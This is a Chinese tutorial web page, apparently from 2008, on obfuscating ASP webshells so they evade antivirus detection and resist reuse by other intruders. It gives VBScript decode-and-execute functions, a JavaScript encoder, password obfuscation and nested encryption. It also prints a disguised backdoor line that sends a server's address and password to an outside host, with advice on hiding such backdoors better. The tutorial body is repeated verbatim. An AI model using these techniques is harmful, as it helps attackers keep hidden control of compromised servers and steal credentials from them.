給你的大馬加密的實用方法
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:02:25 作者:佚名
我要評論

大家在入侵中應該是撿到過別人的Webshell吧?也許有的大馬功能很好,于是你就用了,但是你沒想過該馬可能有后門?現(xiàn)在很多的大馬都加密了,打開時候一片亂碼,是不是也想加密自己的大馬了,加密后的Webshell不僅可以防止別人撿我們的Shell用,還能免殺webshell。ASP木馬加密
大家在入侵中應該是撿到過別人的Webshell吧?也許有的大馬功能很好,于是你就用了,但是你沒想過該馬可能有后門?現(xiàn)在很多的大馬都加密了,打開時候一片亂碼,是不是也想加密自己的大馬了,加密后的Webshell不僅可以防止別人撿我們的Shell用,還能免殺webshell。ASP木馬加密不難,讓我們一起踏上大馬加密之旅。
一:人工加密 1.主加密函數(shù)的編寫 1)主解密與解密函數(shù) 對大馬的加密關鍵是編寫我們的加密函數(shù),然后寫出相應的解密函數(shù)。我這里先得對幾個ASP自帶函數(shù)有個了解 CHR:將ASCII 字碼轉換成字符 REPLACE:將一個字符串取代 部份字。 ASC:將字符串的第一字母轉換成 ANSI (美國國家標準符號)字碼。 Len:取得字符串的長度。 然后對IF語句和一些VBS函數(shù)相關知識有個了解。大家有不懂可以查看Windows腳本技術,里面比較詳細。 我們先看下一個最常用的解密函數(shù)吧。 dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
這個解密函數(shù)就是將加密后的代碼解密。他先將解密代碼(Str)中的╁換為引號("),得到Str1,然后通過FOR循環(huán),將加密部分(Str1)逐個取出,將取出的字符倒敘連接成一個新字符,并將╋換為vbcrlf(換行符)。這個加密函數(shù)應用的相當廣泛,就連華夏免殺Webshell也用了這個函數(shù) 好了。知道加密的原理后我們就可以編寫自己的加密函數(shù)了。ASP的加密函數(shù)只需要將上面的部分稍微改下,但是需要可以執(zhí)行的環(huán)境(本地IIS或上傳到服務器)。這里我給出了JS HTML寫的加密網(wǎng)頁 ---------->JS HTML加密: <html>
<script script="JavaScript">
function enCode(theText)
{
output=new String;
TextSize=theText.length;
for (i = 0; i < TextSize; i )
{
if(theText.charCodeAt(i)=="13")
{
output="鵬" output;
}
else if(theText.charCodeAt(i)=="10")
{
output ="";
}
else
{
output=theText.charAt(i) output;
}
}
return output
}
</script>
<form name=encform onsubmit="return false;" />
<textarea name=box1 rows=16 cols=120></textarea>
<br />
<input type=button value="加密到下面文本框" onClick="this.form.box2.value=enCode(this.form.box1.value);" /><br />
<textarea name=box2 rows=16 cols=120></textarea>
</form>
</form>
</html>
保存為html格式然后用IE打開,將需要加密的部分填寫上,然后點擊按鈕"加密到下面文本框" ,就可以得到加密后的字符串了。 上面的加密函數(shù)是enCode,他的作用是將ASP代碼(Code)中的換行換為鵬,得到Code1,然后將Code1倒序(13和10分別是回車和換行的編碼)。比如: Sub RRS(str) response.write(str) End Sub 加密后就為 buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS 寫了加密函數(shù)后就要寫出對于的解密函數(shù),必須用ASP編寫 dim psEncode,psStr,psI
Function unCode(psEncode)
For psI=1 To Len(psEncode)
If Mid(psEncode,psI,1)<>"鵬" Then
psNewStr=Mid(psEncode,psI,1)&psNewStr
Else
psNewStr=vbCrlf&psNewStr
End If
Next
unCode=psNewStr
End Function
這樣我們就可以將ASP中的RRS函數(shù)用 execute(unCode("buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS")) 代替掉 Sub RRS(str) response.write(str) End Sub 我們可以利用這個加密函數(shù)加密多處,這樣多加密一般可以免殺大馬 (2)加密解密函數(shù) 直接調(diào)用解密函數(shù),很容易使自己的解密函數(shù)泄露,我們可以利用一個函數(shù)來加密我們的加密函數(shù),這樣就難找一點了,這主要是為了保護我們的馬,對于上面我們的解密函數(shù),我們可以再寫一個加密函數(shù),然后調(diào)用execute來,這樣就可以隱藏我們的解密函數(shù)了。這樣我們解密函數(shù)的源代碼就不會明文出現(xiàn)在webshell里了 (3)嵌套加密 我們可以在主加密函數(shù)里面嵌套次加密函數(shù),不過這樣我們需要對應的寫出多個解密函數(shù),這樣加密比較側地,小破孩就馬就是采用這種加密方法。由于方法相同,我就不多啰嗦了,大家有興趣可以自己去研究下幽月或小破孩的,我這里有源碼,想要的可以到我博客(hi.baidu.com/novaa) 2.密碼的加密 大家是否遇見過webshell的密碼是很長的數(shù)字,20多位或30多位。這就是對密碼加密了的,通過對密碼加密,可以防止別人通過查看我們的源代碼得到我們的密碼,除非他完全解密了我們的webshell,否則我們大馬就是安全的。這里看一個對密碼加密的函數(shù)。 Function enPass(psStr,Pos)
Dim i,psNewStr
For i = 1 To Len(psStr)
psNewStr= psNewStr& Asc(Mid(psStr, i, 1)) Pos & (20080808-Pos)
Next
enPass =psNewStr
End Function
上面的這個加密函數(shù)是對每一位密碼的數(shù)字取ascii碼,然后加上Pos & (20080808-Pos)&i,這里注意&是連接字符,比如n&ov&aa結果是novaa 然后我們把解密后的部分定義為UserPass 然后在驗證的地方通過 enPass(request.form("pass"),pn)=UserPass 來進行身份驗證,當然,通過修改密碼的驗證方式可以輕松的修改密碼,但是前提是你已經(jīng)完全解密了這個webshell了。 3.后門的隱藏技術 怎么隱藏后門?其實主要就利用ASP的自帶函數(shù)和一些其他技巧,這里我以破小孩后門來解釋 RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E1"&chr(39-pos)&""&(4 pos)&"cl"&chr(37)&"34."&chr(37)&"63o"&chr(37)&"6d/%"&(36 pos)&"/?u="&Serveru&"&p="&UserPass&"')"">"
這個和幽月的后門隱藏技術差不多,都是利用了ASCII編碼和HTML編碼,CHR(37)是"/",我們把它還原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
這里我們可以做的更隱蔽些。 1.我們查找后門的時候一般是利用查找有UserPass的地方,因此,我們可以利用enPass(request.form("pass"),pn)賦值給另一個變量canyou,然后把&p="&UserPass&"換為&p="&canyou&" 2.我們可以利用webshell里面自帶的常量來代替http,以為http也是經(jīng)常用來找后門的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"這里就有HTTP,我們利用Right函數(shù)來取得Sot(13,0) 右邊的4個字符,然后代替后門中的HTTP 二:工具加密 利用微軟的腳本加密工具screnc.exe對我們初步加密的webshell進行再次的加密,這樣我們的webshell就完全成了一堆亂碼了 有了上面的加密知識,相信大家很快可以掌握ASP的解密,方法都是一樣的,然后大家就可以玩玩除后門了。
一:人工加密 1.主加密函數(shù)的編寫 1)主解密與解密函數(shù) 對大馬的加密關鍵是編寫我們的加密函數(shù),然后寫出相應的解密函數(shù)。我這里先得對幾個ASP自帶函數(shù)有個了解 CHR:將ASCII 字碼轉換成字符 REPLACE:將一個字符串取代 部份字。 ASC:將字符串的第一字母轉換成 ANSI (美國國家標準符號)字碼。 Len:取得字符串的長度。 然后對IF語句和一些VBS函數(shù)相關知識有個了解。大家有不懂可以查看Windows腳本技術,里面比較詳細。 我們先看下一個最常用的解密函數(shù)吧。 dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """")
For ShiSanI = 1 To Len(ShiSanObjstr)
If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else
ShiSanNewStr = vbCrLf & ShiSanNewStr
End If
Next
ShiSanFun = ShiSanNewStr
End Function
這個解密函數(shù)就是將加密后的代碼解密。他先將解密代碼(Str)中的╁換為引號("),得到Str1,然后通過FOR循環(huán),將加密部分(Str1)逐個取出,將取出的字符倒敘連接成一個新字符,并將╋換為vbcrlf(換行符)。這個加密函數(shù)應用的相當廣泛,就連華夏免殺Webshell也用了這個函數(shù) 好了。知道加密的原理后我們就可以編寫自己的加密函數(shù)了。ASP的加密函數(shù)只需要將上面的部分稍微改下,但是需要可以執(zhí)行的環(huán)境(本地IIS或上傳到服務器)。這里我給出了JS HTML寫的加密網(wǎng)頁 ---------->JS HTML加密: <html>
<script script="JavaScript">
function enCode(theText)
{
output=new String;
TextSize=theText.length;
for (i = 0; i < TextSize; i )
{
if(theText.charCodeAt(i)=="13")
{
output="鵬" output;
}
else if(theText.charCodeAt(i)=="10")
{
output ="";
}
else
{
output=theText.charAt(i) output;
}
}
return output
}
</script>
<form name=encform onsubmit="return false;" />
<textarea name=box1 rows=16 cols=120></textarea>
<br />
<input type=button value="加密到下面文本框" onClick="this.form.box2.value=enCode(this.form.box1.value);" /><br />
<textarea name=box2 rows=16 cols=120></textarea>
</form>
</form>
</html>
保存為html格式然后用IE打開,將需要加密的部分填寫上,然后點擊按鈕"加密到下面文本框" ,就可以得到加密后的字符串了。 上面的加密函數(shù)是enCode,他的作用是將ASP代碼(Code)中的換行換為鵬,得到Code1,然后將Code1倒序(13和10分別是回車和換行的編碼)。比如: Sub RRS(str) response.write(str) End Sub 加密后就為 buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS 寫了加密函數(shù)后就要寫出對于的解密函數(shù),必須用ASP編寫 dim psEncode,psStr,psI
Function unCode(psEncode)
For psI=1 To Len(psEncode)
If Mid(psEncode,psI,1)<>"鵬" Then
psNewStr=Mid(psEncode,psI,1)&psNewStr
Else
psNewStr=vbCrlf&psNewStr
End If
Next
unCode=psNewStr
End Function
這樣我們就可以將ASP中的RRS函數(shù)用 execute(unCode("buS dnE鵬)rts(etirw.esnopser 鵬)rts(SRR buS")) 代替掉 Sub RRS(str) response.write(str) End Sub 我們可以利用這個加密函數(shù)加密多處,這樣多加密一般可以免殺大馬 (2)加密解密函數(shù) 直接調(diào)用解密函數(shù),很容易使自己的解密函數(shù)泄露,我們可以利用一個函數(shù)來加密我們的加密函數(shù),這樣就難找一點了,這主要是為了保護我們的馬,對于上面我們的解密函數(shù),我們可以再寫一個加密函數(shù),然后調(diào)用execute來,這樣就可以隱藏我們的解密函數(shù)了。這樣我們解密函數(shù)的源代碼就不會明文出現(xiàn)在webshell里了 (3)嵌套加密 我們可以在主加密函數(shù)里面嵌套次加密函數(shù),不過這樣我們需要對應的寫出多個解密函數(shù),這樣加密比較側地,小破孩就馬就是采用這種加密方法。由于方法相同,我就不多啰嗦了,大家有興趣可以自己去研究下幽月或小破孩的,我這里有源碼,想要的可以到我博客(hi.baidu.com/novaa) 2.密碼的加密 大家是否遇見過webshell的密碼是很長的數(shù)字,20多位或30多位。這就是對密碼加密了的,通過對密碼加密,可以防止別人通過查看我們的源代碼得到我們的密碼,除非他完全解密了我們的webshell,否則我們大馬就是安全的。這里看一個對密碼加密的函數(shù)。 Function enPass(psStr,Pos)
Dim i,psNewStr
For i = 1 To Len(psStr)
psNewStr= psNewStr& Asc(Mid(psStr, i, 1)) Pos & (20080808-Pos)
Next
enPass =psNewStr
End Function
上面的這個加密函數(shù)是對每一位密碼的數(shù)字取ascii碼,然后加上Pos & (20080808-Pos)&i,這里注意&是連接字符,比如n&ov&aa結果是novaa 然后我們把解密后的部分定義為UserPass 然后在驗證的地方通過 enPass(request.form("pass"),pn)=UserPass 來進行身份驗證,當然,通過修改密碼的驗證方式可以輕松的修改密碼,但是前提是你已經(jīng)完全解密了這個webshell了。 3.后門的隱藏技術 怎么隱藏后門?其實主要就利用ASP的自帶函數(shù)和一些其他技巧,這里我以破小孩后門來解釋 RRS"<DIV style=""CURSOR:url('http://"&chr(37)&"77"&chr(37)&"2E1"&chr(39-pos)&""&(4 pos)&"cl"&chr(37)&"34."&chr(37)&"63o"&chr(37)&"6d/%"&(36 pos)&"/?u="&Serveru&"&p="&UserPass&"')"">"
這個和幽月的后門隱藏技術差不多,都是利用了ASCII編碼和HTML編碼,CHR(37)是"/",我們把它還原就是
http://w.1ll4.com/8/?u="&Serveru&"&p="&UserPass&"
這里我們可以做的更隱蔽些。 1.我們查找后門的時候一般是利用查找有UserPass的地方,因此,我們可以利用enPass(request.form("pass"),pn)賦值給另一個變量canyou,然后把&p="&UserPass&"換為&p="&canyou&" 2.我們可以利用webshell里面自帶的常量來代替http,以為http也是經(jīng)常用來找后門的地方,比如Sot(13,0) = "Microsoft.XMLHTTP"這里就有HTTP,我們利用Right函數(shù)來取得Sot(13,0) 右邊的4個字符,然后代替后門中的HTTP 二:工具加密 利用微軟的腳本加密工具screnc.exe對我們初步加密的webshell進行再次的加密,這樣我們的webshell就完全成了一堆亂碼了 有了上面的加密知識,相信大家很快可以掌握ASP的解密,方法都是一樣的,然后大家就可以玩玩除后門了。
相關文章
- “CMOS密碼”就是通常所說的“開機密碼”,主要是為了防止別人使用自已的計算機,設置的一個屏障2023-08-01
QQScreenShot之逆向并提取QQ截圖--OCR和其他功能
上一篇文章逆向并提取QQ截圖沒有提取OCR功能, 再次逆向我發(fā)現(xiàn)是可以本地調(diào)用QQ的OCR的,但翻譯按鈕確實沒啥用, 于是Patch了翻譯按鈕事件, 改為了將截圖用百度以圖搜圖搜索.2023-02-04- QQ截圖是我用過的最好用的截圖工具, 由于基本不在電腦上登QQ了, 于是就想將其提取出獨立版目前除了屏幕錄制功能其他都逆出來了, 在此分享一下2023-02-04
非系統(tǒng)分區(qū)使用BitLocker加密導致軟件無法安裝的解決方法
很多電腦用戶在考慮自己電腦磁盤分區(qū)安全時會采用 Windows 自帶的 BitLocker 加密工具對電腦磁盤分區(qū)進行加密。但有些人加密后就會忘記自己設置的密碼從而導致在安裝其它軟2020-11-25防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生
這篇文章為大家詳細介紹了如何才能防止離職員工帶走客戶、防止內(nèi)部員工泄密、避免華為員工泄密事件的發(fā)生,具有一定的參考價值,感興趣的小伙伴們可以參考一下2017-06-27徹底防止計算機泄密、重要涉密人員離職泄密、涉密人員離崗離職前防范舉
近些年企業(yè)商業(yè)機密泄漏的事件屢有發(fā)生,這篇文章主要教大家如何徹底防止計算機泄密、重要涉密人員離職泄密、告訴大家涉密人員離崗離職前的防范舉措,具有一定的參考價值,2017-06-27- 最近有電腦用戶反應量子計算機可以破解下載的所有的加密算法嗎?其實也不是不可以,下面虛擬就為大家講解買臺量子計算機,如何分分鐘破解加密算法2016-09-26
怎么破解Webshell密碼 Burpsuite破解Webshell密碼圖文教程
webshell是以asp、php、jsp或者cgi等網(wǎng)頁文件形式存在的一種命令執(zhí)行環(huán)境,一種網(wǎng)頁后門。黑客通常會通過它控制別人網(wǎng)絡服務器,那么怎么破解webshell密碼呢?一起來看看吧2016-09-19- 本文討論了針對Linux系統(tǒng)全盤加密的冷啟動攻擊,大家都認為這種攻擊是可行的,但執(zhí)行這么一次攻擊有多難?攻擊的可行性有多少呢?需要的朋友可以參考下2015-12-28
防止泄露公司機密、企業(yè)數(shù)據(jù)防泄密軟件排名、電腦文件加密軟件排行
面對日漸嚴重的內(nèi)部泄密事件,我們?nèi)绾问刈o企業(yè)的核心信息,如何防止內(nèi)部泄密也就成了擺在各個企業(yè)領導面前的一大問題。其實,針對內(nèi)網(wǎng)安全,防止內(nèi)部信息泄漏早已有了比較2015-12-17